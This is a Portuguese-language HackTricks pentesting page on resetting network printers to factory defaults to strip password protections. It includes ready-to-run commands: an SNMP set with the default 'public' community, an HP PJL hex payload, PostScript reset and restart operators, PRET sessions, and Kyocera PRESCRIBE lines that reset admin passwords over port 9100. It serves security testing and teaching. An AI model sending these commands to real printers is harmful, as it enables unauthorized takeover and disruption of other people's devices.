hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md

87 lines
7.1 KiB
Markdown

<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Resetar** um dispositivo para as configurações de fábrica é uma funcionalidade crítica de segurança, pois **sobrescreve mecanismos de proteção** como senhas definidas pelo usuário. Isso geralmente pode ser feito pressionando uma **combinação especial de teclas** no **painel de controle** da impressora. Realizar tal reset a frio leva apenas segundos e, portanto, é um cenário realista para atacantes locais ou pentesters, que podem, por exemplo, entrar sorrateiramente na sala de cópias na hora do almoço. No entanto, o **acesso físico** ao dispositivo **nem sempre é uma opção**.
### SNMP
O Printer-MIB define o Objeto **prtGeneralReset** (**OID 1.3.6.1.2.1.43.5.1.1.3.1**) que permite a um atacante reiniciar o dispositivo (powerCycleReset(4)), resetar as configurações do NVRAM (resetToNVRAM(5)) ou restaurar as configurações de fábrica (resetToFactoryDefaults(6)) usando SNMP. Esse recurso/ataque é **suportado por uma grande variedade de impressoras** e remove todos os mecanismos de proteção como senhas definidas pelo usuário para o servidor web embutido. Embora os mecanismos de proteção possam ser eficientemente contornados, uma desvantagem prática dessa abordagem é que toda a configuração de **endereço IP estático será perdida**. **Se não houver** serviço DHCP disponível, o atacante **não** será capaz de **reconectar** ao dispositivo após resetá-lo para as configurações de fábrica.
**Resetar o dispositivo para as configurações de fábrica padrão** pode ser realizado usando o comando `snmpset` como mostrado abaixo (você precisa conhecer a **string da comunidade**, que na maioria dos casos é `public` por padrão):
```bash
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
```
### [PML](./#pml)/[PJL](./#pjl)
Em muitos cenários, um atacante não tem a capacidade de realizar solicitações SNMP devido a firewalls ou strings de comunidade SNMP desconhecidas. No entanto, em **dispositivos HP**, o **SNMP** pode ser transformado em sua **representação PML** e incorporar a solicitação dentro de um trabalho de impressão legítimo. Isso permite que um atacante **reinicie e/ou redefina o dispositivo** para as configurações de fábrica dentro de trabalhos de impressão comuns, conforme mostrado abaixo:
```bash
@PJL DMCMD ASCIIHEX="040006020501010301040106"
```
Qualquer pessoa pode reproduzir este ataque em impressoras HP, reiniciando ou redefinindo o dispositivo pode facilmente ser reproduzido usando [**PRET**](https://github.com/RUB-NDS/PRET):
```bash
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PostScript
PostScript oferece um recurso similar: O parâmetro do sistema **FactoryDefaults**, 'uma flag que, se **definida como true** **imediatamente antes** da **impressora ser desligada**, faz com que todos os parâmetros não voláteis revertam para seus valores **padrão de fábrica** na próxima vez que for ligada'. Deve-se notar que o próprio **PostScript** também tem a capacidade de **reiniciar** seu **ambiente**, mas requer uma **senha válida**. \
No entanto, o interpretador PostScript pode ser colocado em um **loop infinito**, conforme discutido em ataques de DoS de [processamento de documentos](http://hacking-printers.net/wiki/index.php/Document\_processing), o que obriga o usuário a **reiniciar manualmente** o dispositivo e, assim, redefinir a senha do PostScript.
Redefinir os parâmetros do sistema PostScript para os padrões de fábrica:
```bash
<< /FactoryDefaults true >> setsystemparams
```
Reinicie o interpretador PostScript e a memória virtual:
```bash
true 0 startjob systemdict /quit get exec
```
Qualquer pessoa pode reiniciar ou redefinir o interpretador PostScript de uma impressora, o que **pode ser facilmente reproduzido usando** [**PRET**](https://github.com/RUB-NDS/PRET):
```bash
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PRESCRIBE
Para **dispositivos Kyocera**, as linguagens de descrição de página **PRESCRIBE** podem ser usadas para **redefinir o dispositivo** para as configurações de fábrica a partir de trabalhos de impressão comuns usando um dos comandos mostrados abaixo:
```bash
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
```
Para reproduzir este ataque, abra uma conexão de rede crua com a porta 9100/tcp da impressora e **envie os comandos documentados acima**.
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>